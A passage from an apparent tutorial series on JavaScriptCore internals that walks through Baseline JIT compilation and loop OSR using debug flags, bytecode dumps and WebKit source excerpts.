</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">LLIntFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#a6e22e">Entered</span> <span style="color:#a6e22e">replace</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">executeCounter</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">105.000214</span><span style="color:#f92672">/</span><span style="color:#ae81ff">100.000000</span>, <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">LLIntFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#a6e22e">Entered</span> <span style="color:#a6e22e">replace</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">executeCounter</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">105.000214</span><span style="color:#f92672">/</span><span style="color:#ae81ff">100.000000</span>, <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Optimized</span> <span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7f85f7ac4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7f85f7ae5100</span>, <span style="color:#a6e22e">LLIntFunctionCall</span>, <span style="color:#ae81ff">15</span>] <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">Baseline</span> <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">into</span> <span style="color:#ae81ff">960</span> <span style="color:#a6e22e">bytes</span> <span style="color:#66d9ef">in</span> <span style="color:#ae81ff">0.810440</span> <span style="color:#a6e22e">ms</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7f85f7ac4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7f85f7ae5100</span>, <span style="color:#a6e22e">LLIntFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#a6e22e">Entered</span> <span style="color:#a6e22e">replace</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">executeCounter</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">105.000351</span><span style="color:#f92672">/</span><span style="color:#ae81ff">100.000000</span>, <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">compilation</span> <span style="color:#a6e22e">successful</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Installing</span> <span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7f85f7ac4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7f85f7ae5100</span>, <span style="color:#a6e22e">BaselineFunctionCall</span>, <span style="color:#ae81ff">15</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Code</span> <span style="color:#a6e22e">was</span> <span style="color:#a6e22e">already</span> <span style="color:#a6e22e">compiled</span>.
</span></span></code></pre></div><p>Compiling the CodeBlock is a concurrent process and JavaScriptCore spawns a <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITWorklist.cpp#L97"><code>JITWorker</code></a> thread to being compiling the codeblock with the Baseline JIT. In the interest of simplifying our debugging process, disable concurrent compilation and force compilation to occur on the main <code>jsc</code> thread. In order to do this add the <code>--useConcurrentJIT=false</code> flag to <code>launch.json</code> or on the commandline.</p>
<p>Additionally, JavaScriptCore provides two useful flags that allows adjustment to the JIT compilation threshold counters. These flags are <code>--thresholdForJITSoon</code> and <code>--thresholdForJITAfterWarmUp</code>. By adding the flag <code>--thresholdForJITAfterWarmUp=10</code> reduce the static threshold count to initiate Baseline JIT optimisation from the default <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/OptionsList.h#L290"><code>JITAfterWarmUp</code></a> value of <em>500</em> to <em>10</em>. If the engine determines that the codeblock was JIT compiled previously, it will use the JIT threshold default <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/OptionsList.h#L291"><code>JITSoon</code></a> of 100 which will be reduced to the value of 10 by using <code>--thresholdForJITSoon=10</code>.</p>
<p>Our <code>launch.json</code> should now look as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;version&#34;</span>: <span style="color:#e6db74">&#34;0.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;configurations&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;(gdb) Launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;cppdbg&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;request&#34;</span>: <span style="color:#e6db74">&#34;launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;program&#34;</span>: <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/jsc&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;args&#34;</span>: [<span style="color:#e6db74">&#34;--reportCompileTimes=true&#34;</span>, <span style="color:#e6db74">&#34;--dumpGeneratedBytecodes=true&#34;</span>, <span style="color:#e6db74">&#34;--useDFGJIT=false&#34;</span>, <span style="color:#e6db74">&#34;--verboseOSR=true&#34;</span>, <span style="color:#e6db74">&#34;--useConcurrentJIT=false&#34;</span>, <span style="color:#e6db74">&#34;--thresholdForJITAfterWarmUp=10&#34;</span>, <span style="color:#e6db74">&#34;--thresholdForJITSoon=10&#34;</span>, <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/test.js&#34;</span>],
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>With these additional flags, lets now attempt to trace the optimisation of the following test program:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">test</span>.<span style="color:#a6e22e">js</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">x</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">5</span>; <span style="color:#a6e22e">x</span><span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The bytecodes generated for this program are listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>&lt;global&gt;#DETOqr:<span style="color:#f92672">[</span>0x7fffae3c4000-&gt;0x7fffeedcb768, NoneGlobal, 43<span style="color:#f92672">]</span>: <span style="color:#ae81ff">16</span> instructions <span style="color:#f92672">(</span><span style="color:#ae81ff">0</span> 16-bit instructions, <span style="color:#ae81ff">0</span> 32-bit instructions, <span style="color:#ae81ff">2</span> instructions with metadata<span style="color:#f92672">)</span>; <span style="color:#ae81ff">163</span> bytes <span style="color:#f92672">(</span><span style="color:#ae81ff">120</span> metadata bytes<span style="color:#f92672">)</span>; <span style="color:#ae81ff">1</span> parameter<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>; <span style="color:#ae81ff">10</span> callee register<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>; <span style="color:#ae81ff">6</span> variable<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>; scope at loc4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bb#1
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   0<span style="color:#f92672">]</span> enter              
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   1<span style="color:#f92672">]</span> get_scope          loc4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   3<span style="color:#f92672">]</span> mov                loc5, loc4
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   6<span style="color:#f92672">]</span> check_traps        
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>   7<span style="color:#f92672">]</span> mov                loc6, Undefined<span style="color:#f92672">(</span>const0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  10<span style="color:#f92672">]</span> mov                loc6, Undefined<span style="color:#f92672">(</span>const0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  13<span style="color:#f92672">]</span> mov                loc7, &lt;JSValue<span style="color:#f92672">()</span>&gt;<span style="color:#f92672">(</span>const1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  16<span style="color:#f92672">]</span> mov                loc7, Int32: 0<span style="color:#f92672">(</span>const2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  19<span style="color:#f92672">]</span> jnless             loc7, Int32: 5<span style="color:#f92672">(</span>const3<span style="color:#f92672">)</span>, 22<span style="color:#f92672">(</span>-&gt;41<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Successors: <span style="color:#f92672">[</span> <span style="color:#75715e">#3 #2 ]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bb#2
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  23<span style="color:#f92672">]</span> loop_hint          
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  24<span style="color:#f92672">]</span> check_traps        
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  25<span style="color:#f92672">]</span> mov                loc8, &lt;JSValue<span style="color:#f92672">()</span>&gt;<span style="color:#f92672">(</span>const1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  28<span style="color:#f92672">]</span> add                loc8, loc7, Int32: 10<span style="color:#f92672">(</span>const4<span style="color:#f92672">)</span>, OperandTypes<span style="color:#f92672">(</span>126, 3<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  34<span style="color:#f92672">]</span> inc                loc7
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  37<span style="color:#f92672">]</span> jless              loc7, Int32: 5<span style="color:#f92672">(</span>const3<span style="color:#f92672">)</span>, -14<span style="color:#f92672">(</span>-&gt;23<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Successors: <span style="color:#f92672">[</span> <span style="color:#75715e">#2 #3 ]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bb#3
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>  41<span style="color:#f92672">]</span> end                loc6
</span></span><span style="display:flex;"><span>Successors: <span style="color:#f92672">[</span> <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Constants:
</span></span><span style="display:flex;"><span>   k0 <span style="color:#f92672">=</span> Undefined
</span></span><span style="display:flex;"><span>   k1 <span style="color:#f92672">=</span> &lt;JSValue<span style="color:#f92672">()</span>&gt;
</span></span><span style="display:flex;"><span>   k2 <span style="color:#f92672">=</span> Int32: 0: in source as integer
</span></span><span style="display:flex;"><span>   k3 <span style="color:#f92672">=</span> Int32: 5: in source as integer
</span></span><span style="display:flex;"><span>   k4 <span style="color:#f92672">=</span> Int32: 10: in source as integer
</span></span></code></pre></div><p>The opcode <code>loop_hint</code> in basic block <code>bb#2</code> is responsible for incrementing the JIT threshold counters, initiating compilation by the Baseline JIT if the execution threshold is breached and performing OSR entry. The <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L2160"><code>loop_hint</code> opcode</a> is defined in <em>LowLevelInterpreter.asm</em> which essentially calls the macro <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L434"><code>checkSwitchToJITForLoop</code></a> to determine if an OSR is required.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro checkSwitchToJITForLoop()
</span></span><span style="display:flex;"><span>    checkSwitchToJIT(
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>        macro()
</span></span><span style="display:flex;"><span>            storePC()
</span></span><span style="display:flex;"><span>            prepareStateForCCall()
</span></span><span style="display:flex;"><span>            move cfr, a0
</span></span><span style="display:flex;"><span>            move PC, a1
</span></span><span style="display:flex;"><span>            cCall2(_llint_loop_osr)
</span></span><span style="display:flex;"><span>            btpz r0, .recover
</span></span><span style="display:flex;"><span>            move r1, sp
</span></span><span style="display:flex;"><span>            jmp r0, JSEntryPtrTag
</span></span><span style="display:flex;"><span>        .recover:
</span></span><span style="display:flex;"><span>            loadPC()
</span></span><span style="display:flex;"><span>        end)
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>The macro <code>checkSwitchToJIT</code> as seen in the <a href="/jsc-part2-llint-and-baseline-jit/#tiering-up">previous section</a> determines if the JIT threshold has been breached and performs a <em>slow path</em> call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm#L442"><code>_llint_loop_osr</code></a>. This slow path, <code>loop_osr</code> is defined <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp#L456">LLIntSlowPaths.cpp</a> and is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>LLINT_SLOW_PATH_DECL(loop_osr)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">auto</span> loopOSREntryBytecodeIndex <span style="color:#f92672">=</span> BytecodeIndex(codeBlock<span style="color:#f92672">-&gt;</span>bytecodeOffset(pc));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>jitCompileAndSetHeuristics(vm, codeBlock, loopOSREntryBytecodeIndex))  <span style="color:#f92672">&lt;--</span> Compilation with Baseline JIT
</span></span><span style="display:flex;"><span>        LLINT_RETURN_TWO(<span style="color:#66d9ef">nullptr</span>, <span style="color:#66d9ef">nullptr</span>);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> JITCodeMap<span style="color:#f92672">&amp;</span> codeMap <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>jitCodeMap();
</span></span><span style="display:flex;"><span>    CodeLocationLabel<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span> codeLocation <span style="color:#f92672">=</span> codeMap.find(loopOSREntryBytecodeIndex); <span style="color:#f92672">&lt;--</span> Retrieve location of the compiled code
</span></span><span style="display:flex;"><span>    ASSERT(codeLocation);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> jumpTarget <span style="color:#f92672">=</span> codeLocation.executableAddress();
</span></span><span style="display:flex;"><span>    ASSERT(jumpTarget);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    LLINT_RETURN_TWO(jumpTarget, callFrame<span style="color:#f92672">-&gt;</span>topOfFrame()); <span style="color:#f92672">&lt;--</span> Perform OSR to the location of the compiled code
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As the truncated snippet above indicates, the function will first compile <code>codeBlock</code> with the call to <code>jitCompileAndSetHeuristics</code> and if the compilation succeeds, it will jump to the target address of the compiled code and resume execution. In addition to <code>loop_osr</code> there are additional flavours of OSR supported by the LLInt. These are <code>entry_osr</code>, <code>entry_osr_function_for_call</code>, <code>entry_osr_function_for_construct</code>, <code>entry_osr_function_for_call_arityCheck</code> and <code>entry_osr_function_for_construct_arityCheck</code> an essentially perform the same function as <code>loop_osr</code> and are defined <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp#L426">here in LLIntSlowPaths.cpp</a>.</p>
<h2 id="compilation">Compilation</h2>
<p>Let&rsquo;s now examine how codeblock compilation works by stepping through the function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp#L365"><code>jitCompileAndSetHeuristics</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">inline</span> <span style="color:#66d9ef">bool</span> <span style="color:#a6e22e">jitCompileAndSetHeuristics</span>(VM<span style="color:#f92672">&amp;</span> vm, CodeBlock<span style="color:#f92672">*</span> codeBlock, BytecodeIndex loopOSREntryBytecodeIndex <span style="color:#f92672">=</span> BytecodeIndex(<span style="color:#ae81ff">0</span>))
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    JITWorklist<span style="color:#f92672">::</span>ensureGlobalWorklist().poll(vm);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">switch</span> (codeBlock<span style="color:#f92672">-&gt;</span>jitType()) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> JITType<span style="color:#f92672">::</span>BaselineJIT: {
</span></span><span style="display:flex;"><span>        dataLogLnIf(Options<span style="color:#f92672">::</span>verboseOSR(), <span style="color:#e6db74">&#34;    Code was already compiled.&#34;</span>);
</span></span><span style="display:flex;"><span>        codeBlock<span style="color:#f92672">-&gt;</span>jitSoon();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> true;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> JITType<span style="color:#f92672">::</span>InterpreterThunk: {
</span></span><span style="display:flex;"><span>        JITWorklist<span style="color:#f92672">::</span>ensureGlobalWorklist().compileLater(codeBlock, loopOSREntryBytecodeIndex);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> codeBlock<span style="color:#f92672">-&gt;</span>jitType() <span style="color:#f92672">==</span> JITType<span style="color:#f92672">::</span>BaselineJIT;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">default</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>        dataLog(<span style="color:#e6db74">&#34;Unexpected code block in LLInt: &#34;</span>, <span style="color:#f92672">*</span>codeBlock, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>        RELEASE_ASSERT_NOT_REACHED();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> false;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function performs a simple check to determine if the <code>codeBlock</code> supplied needs to be JIT compiled and if compilation is required initiates a compilation thread with the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp#L387"><code>JITWorkList::compileLater</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>JITWorklist<span style="color:#f92672">::</span>ensureGlobalWorklist().compileLater(codeBlock, loopOSREntryBytecodeIndex);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> codeBlock<span style="color:#f92672">-&gt;</span>jitType() <span style="color:#f92672">==</span> JITType<span style="color:#f92672">::</span>BaselineJIT; 
</span></span></code></pre></div><p>Since concurrent JIT is disabled (from adding the <code>--useConcurrentJIT=false</code> flag), the function <code>JITWorkList::compileLater</code> calls <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITWorklist.cpp#L83"><code>Plan::compileNow</code></a> to initiate compilation on the main <code>jsc</code> thread:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">compileNow</span>(CodeBlock<span style="color:#f92672">*</span> codeBlock, BytecodeIndex loopOSREntryBytecodeIndex)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        Plan plan(codeBlock, loopOSREntryBytecodeIndex);
</span></span><span style="display:flex;"><span>        plan.compileInThread();
</span></span><span style="display:flex;"><span>        plan.finalize();
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>The function <code>Plan::compileInThread</code> ends up calling <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L668"><code>JIT::compileWithoutLinking</code></a> which essentially compiles the codeblock by utilising the <em>MacroAssemblers</em> to emit specific machine code for each bytecode in the instruction stream. The function <code>compileWithoutLinking</code> is listed below with the unimportant code truncated out:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> JIT<span style="color:#f92672">::</span>compileWithoutLinking(JITCompilationEffort effort)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    m_pcToCodeOriginMapBuilder.appendItem(label(), CodeOrigin(BytecodeIndex(<span style="color:#ae81ff">0</span>)));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    emitFunctionPrologue();
</span></span><span style="display:flex;"><span>    emitPutToCallFrameHeader(m_codeBlock, CallFrameSlot<span style="color:#f92672">::</span>codeBlock);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    move(regT1, stackPointerRegister);
</span></span><span style="display:flex;"><span>    checkStackPointerAlignment();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    emitSaveCalleeSaves();
</span></span><span style="display:flex;"><span>    emitMaterializeTagCheckRegisters();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    privateCompileMainPass();
</span></span><span style="display:flex;"><span>    privateCompileLinkPass();
</span></span><span style="display:flex;"><span>    privateCompileSlowCases();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    m_bytecodeIndex <span style="color:#f92672">=</span> BytecodeIndex(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    privateCompileExceptionHandlers();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    m_pcToCodeOriginMapBuilder.appendItem(label(), PCToCodeOriginMapBuilder<span style="color:#f92672">::</span>defaultCodeOrigin());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    m_linkBuffer <span style="color:#f92672">=</span> std<span style="color:#f92672">::</span>unique_ptr<span style="color:#f92672">&lt;</span>LinkBuffer<span style="color:#f92672">&gt;</span>(<span style="color:#66d9ef">new</span> LinkBuffer(<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>, m_codeBlock, effort));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><p>The first few function calls <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L725"><code>emitFunctionPrologue()</code></a> up until <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L747"><code>emitMaterializeTagCheckRegisters()</code></a> emit machine code to perform stack management routines to be included in the Baseline JIT compiled code.</p>
<p>A handy setting to enable with the codebase to allow tracing of the various compilation passes would be the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L54"><code>JITInternal::verbose</code></a> flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">namespace</span> JITInternal {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">constexpr</span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">bool</span> verbose <span style="color:#f92672">=</span> true;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>By enabling this flag, each bytecode being compiled would now be logged to <em>stdout</em>. This should look something similar to the snippet below:</p>
